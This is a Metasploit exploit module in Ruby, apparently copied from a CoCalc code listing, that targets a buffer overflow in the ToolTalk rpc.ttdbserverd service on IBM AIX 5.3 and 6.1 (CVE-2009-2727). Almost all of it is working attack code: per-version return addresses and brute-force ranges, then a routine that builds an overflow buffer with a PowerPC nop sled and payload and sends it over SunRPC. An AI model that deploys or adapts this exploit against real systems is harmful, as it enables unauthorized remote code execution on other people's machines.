CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = GreatRanking
8

9
  include Msf::Exploit::Remote::SunRPC
10
  include Msf::Exploit::Brute
11

12
  def initialize(info = {})
13
    super(update_info(info,
14
      'Name'           => 'ToolTalk rpc.ttdbserverd _tt_internal_realpath Buffer Overflow (AIX)',
15
      'Description'    => %q{
16
          This module exploits a buffer overflow vulnerability in _tt_internal_realpath
17
        function of the ToolTalk database server (rpc.ttdbserverd).
18
      },
19
      'Author'         =>
20
        [
21
          'Ramon de C Valle',
22
          'Adriano Lima <adriano[at]risesecurity.org>',
23
        ],
24
      'Platform'       => [ 'aix' ],
25
      'References'     =>
26
        [
27
          [ 'CVE', '2009-2727'],
28
          [ 'OSVDB', '55151' ]
29
        ],
30
      'Payload'        =>
31
        {
32
          'BadChars' => "\x00",
33
        },
34
      'Targets'        =>
35
        [
36
          [
37
            'IBM AIX Version 6.1.4',
38
            {
39
              'Arch'     => 'ppc',
40
              'Platform' => 'aix',
41
              'Ret'      => 0x20099430+4096,
42
              'Addr1'    => 0x2ff1ff50-8192,
43
              'AIX'  => '6.1.4',
44
              'Bruteforce' =>
45
              {
46
                'Start' => { 'Ret' => 0x20099430-8192 },
47
                'Stop'  => { 'Ret' => 0x20099430+8192 },
48
                'Step'  => 1024
49
              }
50
            }
51
          ],
52
          [
53
            'IBM AIX Version 6.1.3',
54
            {
55
              'Arch'     => 'ppc',
56
              'Platform' => 'aix',
57
              'Ret'      => 0x20099280+4096,
58
              'Addr1'    => 0x2ff1ffd0-8192,
59
              'AIX'  => '6.1.3',
60
              'Bruteforce' =>
61
              {
62
                'Start' => { 'Ret' => 0x20099280-8192 },
63
                'Stop'  => { 'Ret' => 0x20099280+8192 },
64
                'Step'  => 1024
65
              }
66
            }
67
          ],
68
          [
69
            'IBM AIX Version 6.1.2',
70
            {
71
              'Arch'     => 'ppc',
72
              'Platform' => 'aix',
73
              'Ret'      => 0x20099280+4096,
74
              'Addr1'    => 0x2ff1ffd0-8192,
75
              'AIX'  => '6.1.2',
76
              'Bruteforce' =>
77
              {
78
                'Start' => { 'Ret' => 0x20099280-8192 },
79
                'Stop'  => { 'Ret' => 0x20099280+8192 },
80
                'Step'  => 1024
81
              }
82
            }
83
          ],
84
          [
85
            'IBM AIX Version 6.1.1',
86
            {
87
              'Arch'     => 'ppc',
88
              'Platform' => 'aix',
89
              'Ret'      => 0x20099280+4096,
90
              'Addr1'    => 0x2ff1ffd0-8192,
91
              'AIX'  => '6.1.1',
92
              'Bruteforce' =>
93
              {
94
                'Start' => { 'Ret' => 0x20099280-8192 },
95
                'Stop'  => { 'Ret' => 0x20099280+8192 },
96
                'Step'  => 1024
97
              }
98
            }
99
          ],
100
          [
101
            'IBM AIX Version 6.1.0',
102
            {
103
              'Arch'     => 'ppc',
104
              'Platform' => 'aix',
105
              'Ret'      => 0x20099280+4096,
106
              'Addr1'    => 0x2ff1ffd0-8192,
107
              'AIX'  => '6.1.0',
108
              'Bruteforce' =>
109
              {
110
                'Start' => { 'Ret' => 0x20099280-8192 },
111
                'Stop'  => { 'Ret' => 0x20099280+8192 },
112
                'Step'  => 1024
113
              }
114
            }
115
          ],
116
          [
117
            'IBM AIX Version 5.3.10 5.3.9 5.3.8 5.3.7',
118
            {
119
              'Arch'     => 'ppc',
120
              'Platform' => 'aix',
121
              'Ret'      => 0x20096ba0+4096,
122
              'Addr1'    => 0x2ff1ff14-8192,
123
              'AIX'  => '5.3.9',
124
              'Bruteforce' =>
125
              {
126
                'Start' => { 'Ret' => 0x20096ba0-8192 },
127
                'Stop'  => { 'Ret' => 0x20096ba0+8192 },
128
                'Step'  => 1024
129
              }
130
            }
131
          ],
132
          [
133
            'IBM AIX Version 5.3.10',
134
            {
135
              'Arch'     => 'ppc',
136
              'Platform' => 'aix',
137
              'Ret'      => 0x20096bf0+4096,
138
              'Addr1'    => 0x2ff1ff14-8192,
139
              'AIX'  => '5.3.10',
140
              'Bruteforce' =>
141
              {
142
                'Start' => { 'Ret' => 0x20096bf0-8192 },
143
                'Stop'  => { 'Ret' => 0x20096bf0+8192 },
144
                'Step'  => 1024
145
              }
146
            }
147
          ],
148
          [
149
            'IBM AIX Version 5.3.9',
150
            {
151
              'Arch'     => 'ppc',
152
              'Platform' => 'aix',
153
              'Ret'      => 0x20096ba0+4096,
154
              'Addr1'    => 0x2ff1ff14-8192,
155
              'AIX'  => '5.3.9',
156
              'Bruteforce' =>
157
              {
158
                'Start' => { 'Ret' => 0x20096ba0-8192 },
159
                'Stop'  => { 'Ret' => 0x20096ba0+8192 },
160
                'Step'  => 1024
161
              }
162
            }
163
          ],
164
          [
165
            'IBM AIX Version 5.3.8',
166
            {
167
              'Arch'     => 'ppc',
168
              'Platform' => 'aix',
169
              'Ret'      => 0x20096c10+4096,
170
              'Addr1'    => 0x2ff1ff98-8192,
171
              'AIX'  => '5.3.8',
172
              'Bruteforce' =>
173
              {
174
                'Start' => { 'Ret' => 0x20096c10-8192 },
175
                'Stop'  => { 'Ret' => 0x20096c10+8192 },
176
                'Step'  => 1024
177
              }
178
            }
179
          ],
180
          [
181
            'IBM AIX Version 5.3.7',
182
            {
183
              'Arch'     => 'ppc',
184
              'Platform' => 'aix',
185
              'Ret'      => 0x20096c10+4096,
186
              'Addr1'    => 0x2ff1ff98-8192,
187
              'AIX'  => '5.3.7',
188
              'Bruteforce' =>
189
              {
190
                'Start' => { 'Ret' => 0x20096c10-8192 },
191
                'Stop'  => { 'Ret' => 0x20096c10+8192 },
192
                'Step'  => 1024
193
              }
194
            }
195
          ],
196
          [
197
            'Debug IBM AIX Version 6.1',
198
            {
199
              'Arch'     => 'ppc',
200
              'Platform' => 'aix',
201
              'Ret'      => 0xaabbccdd,
202
              'Addr1'    => 0xddccbbaa,
203
              'AIX'  => '6.1.4',
204
              'Bruteforce' =>
205
              {
206
                'Start' => { 'Ret' => 0xaabbccdd },
207
                'Stop'  => { 'Ret' => 0xaabbccdd },
208
                'Step'  => 1024
209
              }
210
            }
211
          ],
212
          [
213
            'Debug IBM AIX Version 5.3',
214
            {
215
              'Arch'     => 'ppc',
216
              'Platform' => 'aix',
217
              'Ret'      => 0xaabbccdd,
218
              'Addr1'    => 0xddccbbaa,
219
              'AIX'  => '5.3.10',
220
              'Bruteforce' =>
221
              {
222
                'Start' => { 'Ret' => 0xaabbccdd },
223
                'Stop'  => { 'Ret' => 0xaabbccdd },
224
                'Step'  => 1024
225
              }
226
            }
227
          ],
228
        ],
229
      'DefaultTarget'  => 0,
230
      'DisclosureDate' => '2009-06-17'))
231

232
  end
233

234
  def brute_exploit(brute_target)
235

236
    if not @aixpayload
237
      datastore['AIX'] = target['AIX']
238
      @aixpayload = regenerate_payload.encoded
239
    end
240

241
    print_status("Trying to exploit rpc.ttdbserverd with address 0x%08x..." % brute_target['Ret'])
242

243
    begin
244

245
      sunrpc_create('tcp', 100083, 1)
246

247
      if target['AIX'] =~ /6\./
248
        buf = "A"
249
      else
250
        buf = "AA"
251
      end
252

253
      buf << [target['Addr1']].pack('N') * (1022 + 8)
254
      buf << [brute_target['Ret']].pack('N') * 32
255

256
      if target['AIX'] =~ /6\./
257
        buf << "AAA"
258
      else
259
        buf << "AA"
260
      end
261

262
      buf << "\x7f\xff\xfb\x78" * 1920
263
      buf << @aixpayload
264
      buf = Rex::Encoder::XDR.encode(buf, 2, 0x78000000, 2, 0x78000000)
265

266
      print_status('Sending procedure 15 call message...')
267
      sunrpc_call(15, buf)
268

269
      sunrpc_destroy
270
      handler
271

272
    rescue Rex::Proto::SunRPC::RPCTimeout
273
      # print_error('RPCTimeout')
274
    rescue EOFError
275
      # print_error('EOFError')
276
    end
277
  end
278
end
279

280